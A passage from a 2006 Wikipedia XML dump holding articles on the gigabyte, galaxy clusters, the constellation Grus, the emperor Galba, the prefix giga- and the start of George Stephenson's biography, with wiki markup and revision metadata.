* [[Phrasal verb]]
* [[Plural]]
* [[Predicate (grammar)|Predicate]] (also verb phrase)
* [[Predicative (adjectival or nominal)]]
* [[Preposition]]
* [[Personal pronoun]]
* [[Pronoun]]
* [[Restrictive clause|Restrictiveness]]
* [[Sandhi]]
* [[Sentence (linguistics)]]
* [[Singular]]
* [[Subject (grammar)|Subject]]
* [[Superlative]]
* [[Grammatical tense|Tense]]
* [[Uninflected word]]
* [[Verb]]
* [[Grammatical voice|Voice]]
{{col-end}}

===See also===
* [[:Category:Grammar frameworks]]
* [[:Category:Grammars of specific languages]]
* [[Ambiguous grammar]]
* [[Analytic language]] vs. [[Synthetic language]]
* [[Government and binding]]
* [[Linguistic typology]]
* [[Syntax]]
* [[Systemic functional grammar]]

==External links==
*[http://pt.wikibooks.org/wiki/Grammar:_%C3%8Dndice English Grammar (Gramática da Língua Inglesa)], [[wikibooks| wikibook]] in [[English (language)|English]] and [[Portuguese (language)|Portuguese]] 
*[http://www.gramster.com/   English Grammar Software]
*[http://www.krysstal.com/grammar.html Grammar Terms]
*[http://www.figarospeech.com/  It Figures-Figures of Speech]
*[http://www.grammarerror.com/ GrammarError: A blog with the best examples of the worst grammar]
* [http://www.lbt-languages.de/english/lernhilfe/lernhilfe.html Grammar Tutorials]

[[Category:Grammar|*]]

[[als:Grammatik]]
[[bg:Граматика]]
[[ca:Gramàtica]]
[[cs:Mluvnice]]
[[cv:Грамматика]]
[[da:Grammatik]]
[[de:Grammatik]]
[[eo:Gramatiko]]
[[es:Gramática]]
[[fa:دستور زبان]]
[[fi:Kielioppi]]
[[fr:Grammaire]]
[[he:דקדוק]]
[[hr:Gramatika]]
[[ia:Grammatica]]
[[id:Tata Bahasa]]
[[io:Gramatiko]]
[[it:Grammatica]]
[[ja:文法]]
[[ku:Rêziman]]
[[lv:Gramatika]]
[[nds:Grammatik]]
[[nl:Grammatica]]
[[nn:Grammatikk]]
[[no:Grammatikk]]
[[pl:Gramatyka]]
[[pt:Gramática]]
[[ru:Грамматика]]
[[simple:Grammar]]
[[sr:Граматика]]
[[sv:Grammatik]]
[[th:ไวยากรณ์]]
[[tpi:Grama]]
[[tr:Dilbilim]]
[[uk:Граматика]]
[[zh:语法]]</text>
    </revision>
  </page>
  <page>
    <title>Gigabyte</title>
    <id>12570</id>
    <revision>
      <id>41812465</id>
      <timestamp>2006-03-01T22:34:06Z</timestamp>
      <contributor>
        <username>Michiel Sikma</username>
        <id>304976</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article is about the unit of measurement, for the computer hardware manufacturer see [[Gigabyte Technology]].
{{Quantities of bytes}}
A '''gigabyte''' (derived from the [[SI prefix]] ''[[giga]]-'') is a unit of [[information]] or [[computer storage]] equal to one [[billion]] [[byte]]s. It is commonly abbreviated '''GB''' in writing (not to be confused with '''Gb''', which is used for [[gigabit]]) and '''gig''' in writing or speech.

There are two slightly different definitions of the size of a gigabyte in use: 

* 1,000,000,000 bytes or 10&lt;sup&gt;9&lt;/sup&gt; bytes is the decimal definition used in [[telecommunication]]s (such as network speeds) and some [[computer storage]] manufacturers (such as [[hard disk]]s and [[flash drives]]).  This usage is compatible with [[SI]].
* 1,073,741,824 bytes, equal to 1024&lt;sup&gt;3&lt;/sup&gt;, or 2&lt;sup&gt;30&lt;/sup&gt; bytes.  This is the definition used for [[computer memory]] sizes, and most often used in [[computer engineering]], [[computer science]], and most aspects of computer [[operating system]]s.  The [[International Electrotechnical Commission|IEC]] recommends that this unit should instead be called a [[gibibyte]] (abbreviated '''GiB'''), as it conflicts with SI units used for bus speeds and the like.

== Distinction between 1000 and 1024 megabytes ==
:''Main article: [[Binary prefix]]''

As a result of this confusion, the unadorned term gigabyte is useful only where just one digit of precision is required.  In technical specifications, the first usage is typically expanded to remove the ambiguity (&quot;GB is one billion bytes&quot;).  The only exception is [[RAM]], where sizes are always given in the power-of-two units natural to this domain.

Thus, to convert metric gigabytes into binary gigabytes (for example a 100 GB drive contains 93 GiB when installed), follow this formula:

:&lt;math&gt;\frac{y \cdot 10^9}{2^{30}}&lt;/math&gt;
where &lt;math&gt;y&lt;/math&gt; is size of drive in metric gigabytes

To clarify the distinction between decimal and binary prefixes, in [[1997]] the [[International Electrotechnical Commission]] (IEC), a standards body, proposed complete conformity with the International System of Units ([[SI]]) conventions (standard [[IEC 60027-2]]). New units were formed as unions of the SI prefixes with the word &quot;binary&quot;. Thus 2&lt;sup&gt;30&lt;/sup&gt; bytes would be called a ''[[gibibyte]]'' (GiB) while the use of gigabyte is deprecated in this context. Thus, gigabyte unambiguously follows the SI convention as 10&lt;sup&gt;9&lt;/sup&gt; bytes. This naming convention is steadily gaining acceptance, but deprecated usage is common. The convention must be inferred from context or fine print.

== Gigabytes in use ==
* As of [[2005]], most consumer [[hard drive]]s are defined by their gigabyte-range capacities.  The true capacity is usually some number above or below the class designation.  Although most hard disk manufacturers' definition of GB is 1,000,000,000 bytes (only [[computer memory]] has a natural inclination towards units that are powers of 2), most computer operating systems use the 1,073,741,824 byte definition. This distinction can cause confusion.  
* [[As of 2005]], consumer hard drive per-gigabyte costs are 0.50-0.80 [[USD]].
* In speech, ''gigabyte'' is often informally abbreviated to ''gig'', as in &quot;This is a ten-gig [[hard drive]]&quot;.
* A [[DVD#Technical_information|DVD-5]] format disc is capable of storing 4.7 GB. One gigabyte is roughly equal to 18 hours of [[MP3]] music (at 128 kbit/s).
* Most [[USB flash drive]]s have a capacity measured in [[MB]] but GB capacity flash drives have been released recently.

== See also ==
* [[gibibyte]]
* [[gigabit]]
* [[binary prefix]]
* [[orders of magnitude (data)]]

==External links==
* http://physics.nist.gov/cuu/Units/binary.html
* http://www.iec.ch/zone/si/si_bytes.htm
* http://www.quinion.com/words/turnsofphrase/tp-kib1.htm
* http://www.nist.gov/public_affairs/techbeat/tb9903.htm

[[Category:Units of information]]

[[ca:Gigabyte]]
[[cs:Gigabyte]]
[[da:Gigabyte]]
[[es:Gigabyte]]
[[hr:Gigabajt]]
[[nl:Gigabyte]]
[[no:Gigabyte]]
[[ru:Гигабайт]]
[[sk:Gigabajt]]
[[sl:Gigazlog]]
[[sv:Gigabyte]]
[[th:จิกะไบต์]]
[[tr:Gigabayt]]
[[zh:GB (单位)]]</text>
    </revision>
  </page>
  <page>
    <title>Galaxy groups and clusters</title>
    <id>12571</id>
    <revision>
      <id>40842866</id>
      <timestamp>2006-02-23T10:24:30Z</timestamp>
      <contributor>
        <username>Art Carlson</username>
        <id>42188</id>
      </contributor>
      <minor />
      <comment>/* Observational methods */ apostrophe to avoid redirect</comment>
      <text xml:space="preserve">'''Galaxy groups and clusters''' are the largest [[gravity|gravitationally]]-bound objects.  They form the densest part of the [[Large-scale structure of the cosmos|large scale structure of the Universe]].  In models for the gravitational formation of structure with [[cold dark matter|cold dark matter]], the smallest structures collapse first and eventually build the largest structures, clusters of galaxies. Clusters are then formed relatively recently between 10 billion years ago and now.  Groups and clusters may contain from ten to thousands of galaxies. The clusters themselves are often associated with  larger groups called [[supercluster]]s.

==Groups of galaxies==

Groups of [[galaxy|galaxies]] are the smallest aggregates of galaxies. They typically contain fewer than 50 galaxies in a diameter of 1 to 2 [[Megaparsec]]s (Mpc) (see [[1 E22 m]] for distance comparisons). Their mass are approximately 10&lt;sup&gt;13&lt;/sup&gt; solar masses. The spread of velocities for the individual galaxies is about 150 km/s.

The group which contains our own galaxy, the [[Milky Way]], is called the [[Local Group]], and contains more than 40 galaxies.

==Clusters of galaxies==
[[image:galaxy.group.hickson.arp.500pix.jpg|thumb|200px|&lt;small&gt;The galaxies of [[HCG 87]], about four hundred million light-years distant. The large edge-on spiral, the fuzzy elliptical galaxy immediately to its right, and the spiral near the top of the image are members of the group, while the small spiral galaxy exactly in the middle is a more distant background galaxy.&lt;/small&gt;]]
Clusters are larger than groups, although there is no sharp dividing line between a group and a cluster. When observed visually, clusters appear to be collections of galaxies held together by mutual gravitational attraction. However, their velocities are too large for them to remain gravitationally-bound by their mutual attractions, implying the presence of either an additional invisible mass component, or an additional attractive force besides gravity.  X-ray studies have revealed the presence of large amounts of intergalactic gas known as the [[intracluster medium]]. This gas is very hot, between 10&lt;sup&gt;7&lt;/sup&gt;K and 10&lt;sup&gt;8&lt;/sup&gt;K, and hence emits X-rays in the form of [[bremsstrahlung|bremsstrahlung]] and [[atomic spectral line|atomic line emission]]. The total mass of the gas is greater than that of the galaxies by roughly a factor of two. However this is still not enough mass to keep the galaxies in the cluster. Since this gas is in approximate [[hydrostatic equilibrium]] with the overall cluster gravitational field,  the total mass distribution can be determined. It turns out the total mass deduced from this measurement is approximately six times larger than the mass of the galaxies or the hot gas.  The missing component is known as [[dark matter]] and its nature is unknown. In a typical cluster perhaps only 5% of the total mass is in the form of galaxies, maybe 10% in the form of hot X-ray emitting gas and the remainder is dark matter.

Clusters typically have the following properties.
* They contain 50 to 1000 galaxies, hot X-ray emitting gas and large amounts of [[dark matter]]
* The distribution of these three components is approximately the same in the cluster.
* They have total masses of 10&lt;sup&gt;14&lt;/sup&gt; to 10&lt;sup&gt;15&lt;/sup&gt; solar masses.
* They typically have a diameter of 2 to 10 Mpc (see [[1 E23 m]] for distance comparisons).
* The spread of velocities for the individual galaxies is about 800-1000 km/s.

Notable galaxy clusters in the relatively nearby universe include the [[Virgo cluster]], [[Hercules Cluster]], and the [[Coma Cluster]].  A very large aggregation of galaxies known as the [[Great Attractor]], dominated by the [[Norma cluster]], is massive enough to affect the local expansion of the universe ([[Hubble flow]]).

Note: clusters of galaxies should not be confused with [[star cluster]]s such as [[galactic cluster]]s and [[open cluster]]s, which are structures ''within'' galaxies, as well as [[globular cluster]]s, which typically orbit galaxies.

==Superclusters==
''Main article: [[Supercluster]]''

Groups, clusters and some isolated galaxies form even larger structures, the [[supercluster]]s. At the very largest scales of the visible universe, matter is gathered into [[filament (astronomy)|filament]]s and walls surrounding vast [[void (astronomy)|void]]s. This structure resembles a [[foam]].

==Observational methods==

Clusters of galaxies have been found in [[astronomical catalog|surveys]] by a number of observational techniques and have been studied in detail using many methods:  

* [[Optical spectrum|Optical]] or [[infrared]]:  The individual galaxies of clusters can be studied through optical or infrared imaging and spectroscopy.  Galaxy clusters are found by optical or infrared telescopes by searching for clustered galaxies, and then confirmed by finding several galaxies at a similar [[redshift]]. Infrared searches are more useful for finding more distant (higher [[redshift]]) clusters.
* [[X-ray]]:  The hot plasma emits X-rays which can be detected by [[X-ray]] [[telescope]]s.  The cluster gas can be studied using both X-ray imaging and X-ray spectroscopy.  Clusters are quite prominent in X-ray surveys and along with [[AGN]] are the brightest X-ray emitting extragalactic objects.
* [[Radio]]:  A number of diffuse structures emitting at radio frequencies have been found in clusters. Groups of radio sources (which may include diffuse structures or [[AGN]] have been used as tracers of cluster location. At high [[redshift]] imaging around individual radio sources (in this case [[AGN]]) has been used to detect proto-clusters (clusters in the process of forming).
* [[Sunyaev-Zel'dovich effect]]:  The hot electrons in the intracluster medium scatter radiation from the [[cosmic microwave background]] through [[Compton scattering]].  This produces a &quot;shadow&quot; in the observed [[cosmic microwave background]] at some radio frequencies.  
* [[gravitational lens|Gravitational Lensing]]:  Clusters of galaxies contain enough matter to distort the orientations of galaxies behind them.  This method can constrain the distribution of dark matter.


===Instruments and surveys for clusters of galaxies===
* The [[Arcminute Microkelvin Imager|AMI array]] at [[Mullard Radio Astronomy Observatory]]

==See also==
*[[List of galaxy clusters]]
*[[Large-scale structure of the cosmos]]
*[[Timeline of galaxies, clusters of galaxies, and large-scale structure]]

[[Category:Galaxy clusters|*]]
[[Category:Large-scale structure of the cosmos]]

[[ca:Cúmul de galàxies]]
[[da:Galaksehob]]
[[de:Galaxienhaufen]]
[[es:Agrupaciones galácticas]]
[[eo:Galaksiamaso]]
[[fr:Amas de galaxies]]
[[io:Galaxiala grupo]]
[[it:Gruppi e ammassi di galassie]]
[[he:צביר גלקסיות]]
[[ja:銀河団]]
[[lv:Galaktiku grupas un kopas]]
[[pl:Gromada galaktyk]]
[[ru:Скопление галактик]]
[[sk:Skupina galaxií]]
[[fi:Galaksijoukko]]
[[sv:Galaxhop]]
[[vi:Quần tụ thiên hà]]</text>
    </revision>
  </page>
  <page>
    <title>Grus (constellation)</title>
    <id>12572</id>
    <revision>
      <id>38744542</id>
      <timestamp>2006-02-08T09:28:58Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Grus |
abbreviation = Gru |
genitive = Gruis |
symbology = the [[Crane (bird)|Crane]] |
RA = 22 |
dec= &amp;minus;47 |
areatotal = 366 |
arearank = 45th |
numberstars = 2 |
starname = [[Alpha Gruis|&amp;alpha; Gru]] (Al Na'ir)  |
starmagnitude = +1.73 |
meteorshowers =
*[[??????]]
*[[??????]] |
bordering =
* [[Piscis Austrinus]]
* [[Microscopium]]
* [[Indus (constellation)|Indus]]
* [[Tucana]]
* [[Phoenix (constellation)|Phoenix]]
* [[Sculptor (constellation)|Sculptor]] |
latmax = 34 |
latmin = 90 |
month = October |
notes=}}
'''Grus''' ([[Latin]] for ''[[Crane (bird)|Crane]]'') is a southern [[constellation]]. The constellation was one of twelve constellations created by [[Pieter Dirkszoon Keyser]] and [[Frederick de Houtman]] between [[1595]] and [[1597]], and it first appeared in [[Johann Bayer]]'s ''[[Uranometria]]'' of [[1603]].

==History and mythology==
Until the 17th century, Grus was considered part of [[Piscis Austrinus]].  The [[Arabic language|Arabic]] names of many of its stars reflect this classification.  Since it was created in the 17th century, there is no earlier mythology associated with it.
==Stars==
:Stars with proper names:

:* ([[Alpha Gruis|&amp;alpha; Gru]]) 1.73 '''Al Na'ir''' [Al Nair, Alnair]
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1606;&amp;#1575;&amp;#1574;&amp;#1585;  ''an-na´ir'' The illuminous

:* ([[Gamma Gruis|&amp;gamma; Gru]]) 3.00 '''''Al Dhanab'''''
:*: &lt;  &amp;#1575;&amp;#1604;&amp;#1584;&amp;#1606;&amp;#1576;  ''að-ðanab'' The tail

:Stars with Bayer designations:
:: [[Beta Gruis|&amp;beta; Gru]] 2.07; [[Delta1 Gruis|&amp;delta;&lt;sup&gt;1&lt;/sup&gt; Gru]] 3.97; [[Delta2 Gruis|&amp;delta;&lt;sup&gt;2&lt;/sup&gt; Gru]] 4.12; [[Epsilon Gruis|&amp;epsilon; Gru]] 3.49; [[Zeta Gruis|&amp;zeta; Gru]] 4.11; [[Eta Gruis|&amp;eta; Gru]] 4.84; [[Theta Gruis|&amp;theta; Gru]] 4.28; [[Iota Gruis|&amp;iota; Gru]] 3.88; [[Kappa Gruis|&amp;kappa; Gru]] 5.37; [[Lambda Gruis|&amp;lambda; Gru]] 4.47; [[Mu1 Gruis|&amp;mu;&lt;sup&gt;1&lt;/sup&gt; Gru]] 4.79; [[Mu2 Gruis|&amp;mu;&lt;sup&gt;2&lt;/sup&gt; Gru]] 5.11; [[Nu Gruis|&amp;nu; Gru]] 5.47; [[Xi Gruis|&amp;xi; Gru]] 5.29; [[Omicron Gruis|&amp;omicron; Gru]] 5.53; [[Pi1 Gruis|&amp;pi;&lt;sup&gt;1&lt;/sup&gt; Gru]] 6.42; [[Pi2 Gruis|&amp;pi;&lt;sup&gt;2&lt;/sup&gt; Gru]] 5.62; [[Rho Gruis|&amp;rho; Gru]] 4.84; [[Sigma1 Gruis|&amp;sigma;&lt;sup&gt;1&lt;/sup&gt; Gru]] 6.28; [[Sigma2 Gruis|&amp;sigma;&lt;sup&gt;2&lt;/sup&gt; Gru]] 5.85; [[Tau1 Gruis|&amp;tau;&lt;sup&gt;1&lt;/sup&gt; Gru]] 6.03 &amp;ndash; has a planet; [[Tau2 Gruis|&amp;tau;&lt;sup&gt;2&lt;/sup&gt; Gru]] &amp;ndash; double 6.67, 7.22; [[Tau3 Gruis|&amp;tau;&lt;sup&gt;3&lt;/sup&gt; Gru]] 5.72; [[Upsilon Gruis|&amp;upsilon; Gru]] 5.62; [[Phi Gruis|&amp;phi; Gru]] 5.54
{{astro-stub}}

{{ConstellationsChangedByBayer}}
{{ConstellationsByBayer}}
{{ConstellationList}}

== External links ==

* [http://160.114.99.91/astrojan/grus.htm The clickable Grus]

[[Category:Grus constellation|*]]

[[ca:Grua (constel·lació)]]
[[da:Tranen]]
[[de:Kranich (Sternbild)]]
[[es:Grus (constelación)]]
[[fr:Grue (constellation)]]
[[ko:두루미자리]]
[[it:Grus (astronomia)]]
[[la:Grus (sidus)]]
[[lt:Gervė (astronomija)]]
[[hu:Daru (csillagkép)]]
[[nl:Kraanvogel (sterrenbeeld)]]
[[ja:つる座]]
[[nn:Tranen]]
[[pl:Żuraw (gwiazdozbiór)]]
[[pt:Grus]]
[[ru:Журавль (созвездие)]]
[[sk:Súhvezdie Žeriav]]
[[sv:Tranan]]
[[th:กลุ่มดาวนกกระเรียน]]</text>
    </revision>
  </page>
  <page>
    <title>GIA</title>
    <id>12573</id>
    <revision>
      <id>37875573</id>
      <timestamp>2006-02-02T18:39:10Z</timestamp>
      <contributor>
        <username>Dpakoha</username>
        <id>303033</id>
      </contributor>
      <comment>Government Information Awareness</comment>
      <text xml:space="preserve">'''GIA''' or '''Gia''' may refer to:

*[[Armed Islamic Group]] (GIA, from French ''Groupe Islamique Armé''), a militant [[Islamism|Islamist]] group in Algeria.
*[[Gemological Institute of America]].

*''[[Gia]]'', a 1998 film about a supermodel Gia Marie Carangi.
*[[Gia people]], an [[List of Indigenous Australian group names|Indigenous Australian]] people
*[[Ghana International Airlines]]
*[[Government Information Awareness]], a website which collects information about government programs, plans and politicians from the general public and numerous online sources

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Green Party</title>
    <id>12574</id>
    <revision>
      <id>15910251</id>
      <timestamp>2003-12-15T23:27:37Z</timestamp>
      <contributor>
        <username>Tillwe</username>
        <id>4623</id>
      </contributor>
      <comment>make this a redirect to merged article about world-wide green parties</comment>
      <text xml:space="preserve">#REDIRECT [[Worldwide green parties]]</text>
    </revision>
  </page>
  <page>
    <title>Galba</title>
    <id>12576</id>
    <revision>
      <id>40467018</id>
      <timestamp>2006-02-20T19:46:47Z</timestamp>
      <contributor>
        <ip>212.200.83.56</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Head of the Roman Emperor Galba.jpg|thumb|Head of Galba at the [[Louvre]].]]
'''Servius Sulpicius Galba''' ([[December 24]], [[3 BC]] - [[January 15]], [[69]]) was [[Roman Emperors|Roman Emperor]] from [[June]] [[68]] until his death. He was the first emperor of the [[Year of the four emperors]].

== Origins and rise to power ==

He was born near [[Terracina]]. He came of a noble family and was a man of great wealth, but unconnected either by birth or by adoption with the first six Caesars. In his early years he was regarded as a youth of remarkable abilities, and it is said that both [[Augustus Caesar|Augustus]] and [[Tiberius]] prophesied his future eminence ([[Tacitus]], ''[[Annals (Tacitus)|Annals]]'', [http://www.perseus.tufts.edu/cgi-bin/ptext?lookup=Tac.+Ann.+6.20 vi. 20]; [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Galba*.html#4 Suet. Galba,&amp;nbsp;4]).

[[Praetor]] in [[20]], and [[consul]] in [[33]], he acquired a well-merited reputation in the provinces of [[Gaul]], [[Germania]], [[Africa (Roman province)|Africa]] and [[Hispania|Spain]] by his military capability, strictness and impartiality. On the death of [[Caligula]], he refused the invitation of his friends to make a bid for empire, and loyally served [[Claudius]]. For the first half of [[Nero]]'s reign he lived in retirement, till, in [[61]], the emperor bestowed on him the province of [[Hispania Tarraconensis]].

In the spring of 68, Galba was informed of Nero's intention to put him to death, and of the insurrection of [[Vindex|Julius Vindex]] in Gaul. He was at first inclined to follow the example of Vindex, but the defeat and death of the latter renewed his hesitation. The news that [[Nymphidius Sabinus]], the [[prefect | praefect]] of the [[Praetorian Guard |praetorians]], had declared in his favour revived Galba's spirits. Hitherto, he had only dared to call himself the [[Legatus|legate]] of the [[Roman Senate|senate]] and Roman people; after the suicide of Nero, he assumed the title of ''[[Caesar (title)|Caesar]]'', and marched straight for [[Rome]].

Following the death of Nero, Nymphidius Sabinus sought to seize power prior to the arrival of Galba, but he could not win the loyalty of the Praetorian guard and was killed. Upon Galba's approach to the city in October, he was met by soldiers presenting demands; Galba replied with violence, killing many of them.

== Rule and fall ==

The primary concern of Galba during his brief reign was in restoring state finances, and to this end he undertook a number of unpopular measures, the most dangerous of which was his refusal to pay the praetorians the reward promised in his name.  Galba scorned the notion that soldiers should be bribed for their loyalty.  He further disgusted the mob by his meanness and dislike of pomp and display. His advanced age had destroyed his energy, and he was entirely in the hands of favourites.  Three of these, [[Titus Vinius]], who became Galba's colleague as [[Consul|consul]], [[Cornelius Laco]] the commander of the [[Praetorian Guard]] and Galba's [[freedman]] Icellus, were said to virtually control the emperor. The three were called &quot;the three pedagogues&quot; because of their influence on Galba. All this made the new emperor gravely unpopular.

On [[January 1]], 69, two legions in [[Germania Superior]] refused to swear loyalty to Galba and toppled his statues, demanding that a new emperor be chosen; on the next day, the soldiers of [[Germania Inferior]] also rebelled and took the decision of who should be the next emperor into their own hands, proclaiming the governor of the province, [[Vitellius]], as emperor.  This outbreak of revolt made Galba aware of his own unpopularity and of the general discontent.  In order to check the rising storm, he adopted as his [[coadjutor]] and successor [[Lucius Calpurnius Piso Licinianus|L. Calpurnius Piso]].  The populace regarded the choice of successor as a sign of fear, and the Praetorians were indignant, because the usual donative was not forthcoming.

[[Otho|M. Salvius Otho]], formerly governor of [[Lusitania]], and one of Galba's earliest supporters, disappointed at not being chosen instead of Piso, entered into communication with the discontented Praetorians, and was adopted by them as their emperor.  Galba, who at once set out to meet the rebels &amp;#8212; he was so feeble that he had to be carried in a litter &amp;#8212; was met by a troop of cavalry and was butchered near the [[Lacus Curtius]].

During the later period of his provincial administration he was indolent and apathetic, but this was due either to a desire not to attract the notice of Nero or to the growing infirmities of age. [[Tacitus]] rightly says that all would have pronounced him worthy of empire if he had never been emperor (&quot;''omnium consensu capax imperii nisi imperasset''&quot;).

{{1911}}

==External links==
{{wikiquote}}
{{Commons|Galba}}
===Primary sources===
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Galba*.html Life of Galba] (Suetonius; English translation and Latin original)
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Plutarch/Lives/Galba*.html Life of Galba] (Plutarch; English translation)
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Cassius_Dio/63*.html Cassius Dio, Book&amp;nbsp;63]

===Secondary material===
*[http://www.romansonline.com/Persns.asp?IntID=6&amp;Ename=Galba Galba at RomansOnline]
*[http://www.jerryfielden.com/essays/galba.htm An Emperor in trouble – Galba’s relationship with the Roman Army]
*[http://www.galba.net Galba homepage - the history - acients coins]
* Biography at [http://www.roman-emperors.org/galba.htm De Imperatoribus Romanis]

----
{{start box}}
{{succession box|title=[[List of Roman Emperors|Roman Emperor]]|before=[[Nero]]|after=[[Otho]]|years=68&amp;ndash;69}}
{{end box}}
{{Plutarch's lives}}
[[Category:3 BC births]]
[[Category:69 deaths]]
[[Category:Murder victims|Galba]]
[[Category:Roman emperors]]
[[Category:Year of Four Emperors]]
[[Category:Roman emperors murdered by the Praetorian Guard]]

[[bg:Галба]]
[[ca:Galba]]
[[da:Galba]]
[[de:Galba]]
[[et:Galba]]
[[es:Galba]]
[[eo:Galbo]]
[[fr:Galba]]
[[ko:갈바]]
[[hr:Galba]]
[[it:Servio Sulpicio Galba]]
[[he:גלבה]]
[[la:Galba]]
[[nl:Servius Sulpicus Galba]]
[[ja:ガルバ]]
[[no:Galba]]
[[nn:Galba av Romarriket]]
[[pl:Galba]]
[[pt:Galba]]
[[ro:Galba]]
[[ru:Гальба]]
[[sk:Galba]]
[[sr:Галба]]
[[fi:Galba]]
[[sv:Galba]]</text>
    </revision>
  </page>
  <page>
    <title>Giga</title>
    <id>12577</id>
    <revision>
      <id>41045721</id>
      <timestamp>2006-02-24T18:26:16Z</timestamp>
      <contributor>
        <username>Omegatron</username>
        <id>18931</id>
      </contributor>
      <comment>/* Pronunciation */ «&quot;racial slur&quot; → &quot;[[racial slur]]&quot;» never heard of that one</comment>
      <text xml:space="preserve">'''giga-''' (symbol: ''G'') is a [[SI prefix|prefix]] in the [[SI]] system of units denoting [[1 E9|10&lt;sup&gt;9&lt;/sup&gt;]], or 1 000 000 000. 

Confirmed in [[1960]], it comes from the [[Greece|Greek]] γίγας, meaning ''[[wiktionary:giant|giant]]''.

In [[computing]], ''giga-'' can sometimes mean 1 073 741 824 (2&lt;sup&gt;30&lt;/sup&gt;) for information units, eg [[gigabit]] or [[gigabyte]], but can also denote 1 000 000 000 of other quantities, e.g. transfer rates: 1 gigabit/s = 1 000 000 000 [[bit/s]]. The binary prefix [[gibi]]- has been suggested for 2&lt;sup&gt;30&lt;/sup&gt;, to resolve this ambiguity, but has yet to achieve widespread usage.

==Pronunciation==
In [[English language|English]] the initial G of ''giga'' can be pronounced with a soft G as in ''jig'', or with a hard G as in ''giggle''. The latter hard G pronunciation has become more common, especially when referring to computer measurements such as [[gigabyte]] and [[gigahertz]]. An example of the soft G pronunciation is found in the [[1985]] movie ''[[Back to the Future]]'', where ''gigawatts'' was pronounced as ''jigawatts''. This was before units like gigabyte became common, and was used to emphasize magnitude, since quantities that large were rare at the time.  One conjecture for the ascendant popularity, in the United States, of the hard G pronunciation is that it is a reaction to the way the soft G pronunciation places the word gigabyte so phonetically close to the [[racial slur]] &quot;jigaboo&quot;.

== Common usage ==
*[[Gigabyte]] — [[hard disk]] capacity, e.g. 120 GB; [[DVD]] capacity, e.g. 5 GB = 5 × 1 073 741 824 [[byte]]s
*[[Gigahertz]] — [[clock rate]] of a [[Central processing unit|CPU]], e.g. 3 GHz = 3 000 000 000 [[Hertz|Hz]]
*[[Gigabit]] — [[bandwidth]] of a [[computer network|network]], e.g. 1 Gbit = 1 000 000 000 [[bit]]/s
*Gigabort - Common slang expression that could represent any of the above.  Used to mock those that don't know the difference between bytes, bits, hertz, etc.

{{SI prefixes}}

== See also ==
*[[SI prefix]]
*[[Binary prefix]]
*[[gibibyte]]
*[[Gigabit Ethernet]]

== External links ==

*[http://www.bipm.org BIPM website]

[[Category:SI prefixes]]

[[ca:Giga]]
[[de:Giga]]
[[es:Giga]]
[[fi:Giga]]
[[fr:Giga]]
[[he:גיגה]]
[[it:Giga (prefisso)]]
[[ja:ギガ]]
[[ko:기가]]
[[nl:Giga]]
[[no:Giga]]
[[pl:Giga]]
[[pt:Giga]]
[[sl:Giga]]
[[sr:Гига]]
[[sk:Giga]]
[[sv:Giga]]
[[vi:Giga]]</text>
    </revision>
  </page>
  <page>
    <title>George Stephenson</title>
    <id>12578</id>
    <revision>
      <id>40940996</id>
      <timestamp>2006-02-24T00:36:54Z</timestamp>
      <contributor>
        <username>Hynca-Hooley</username>
        <id>982357</id>
      </contributor>
      <minor />
      <comment>rv vandalism</comment>
      <text xml:space="preserve">:''For the British politician see [[George Stevenson]]''
[[Image:George_Stephenson.jpg|thumb|250px|George Stephenson]]
[[Image:George Stephenson - National Railway Museum - 2005-10-15.jpg|thumb|250px|Statue of George Stephenson at the [[National Railway Museum]], [[York]]]]
'''George Stephenson''' ([[9 June]] [[1781]] &amp;ndash; [[12 August]] [[1848]]) was an [[England|English]] [[mechanical engineer]] who designed a famous and historically important [[steam]]-powered [[locomotive]] named ''[[Stephenson's Rocket|Rocket]]'', and is known as the Father of British Steam Railways.  To the [[Victorians]], he was a great example of diligent application and  a thirst for improvement (in a phrase, [[Samuel Smiles | 'Self Help']]). His [[rail gauge]] of 4 ft 8½ in (1435 mm), originally called &quot;[[Stephenson gauge]]&quot;, has become the [[standard gauge]] for the majority of the world's railways.

George Stephenson was born in [[Wylam]], [[Northumberland]], 9.3 miles (15 km) west of [[Newcastle upon Tyne]]. In 1748, a [[wagonway]] -- an arrangement similar to a [[railway]], but with wooden tracks and designed to support horse-drawn carts -- had been built from the Wylam colliery to the [[River Tyne, England|River Tyne]], running for several miles. The young Stephenson grew up near it, and in 1802 gained employment as an engine-man at a coal mine. For the next ten years his knowledge of steam engines increased, until in 1812 he stopped operating them for a living, and started building them.

Stephenson designed his first locomotive in 1814, a travelling engine designed for hauling coal on a coal site. Named ''[[Blucher]]'', it could haul 30 tons of coal in a load, and was the first successful flanged-wheel adhesion locomotive - it used flanged wheels to rest on the track, and its traction depended only on the contact between the wheel and the rail. Over the next five years, he built 16 more engines.  

His ingenuity also found other outlets: in 1815 he developed a miners' safety lamp , known as the [[Geordie lamp]] to distinguish it from the [[Davy lamp]] invented by [[Sir Humphrey Davy]] at much the same time.  (There was an outbreak of controversy over which was invented first.)

As his success grew, Stephenson was hired to build an 8- mile (13-km) railway from [[Hetton colliery railway|Hetton colliery]] to [[Sunderland, England|Sunderland]]. The finished result used a combination of gravity pulling the load down inclines and locomotives for level and upward stretches, and was the first railway to use no animal power at all.

In 1821, a project began to build the [[Stockton and Darlington Railway]].  Originally the plan was to use horses to draw coal carts over metal rails, but after company director [[Edward Pease]] met Stephenson he agreed to change plans.  Work began in 1822, and in September 1825 Stephenson completed the first locomotive for the new railway: at first named ''Active'', it was soon renamed ''[[Locomotion No 1|Locomotion]]''.  The Stockton and Darlington opened on [[27 September]] [[1825]].  Driven by Stephenson, ''Locomotion'' hauled an 80-ton load of coal and flour for nine miles (15 km) over two hours, reaching a speed of 24 miles per hour (39 km/h) over one stretch.  The first purpose-built passenger car (dubbed ''Experiment'') was also attached, and carried a load of dignitaries for the opening journey.  It was the first time passenger traffic had been run on a steam-driven locomotive railway.

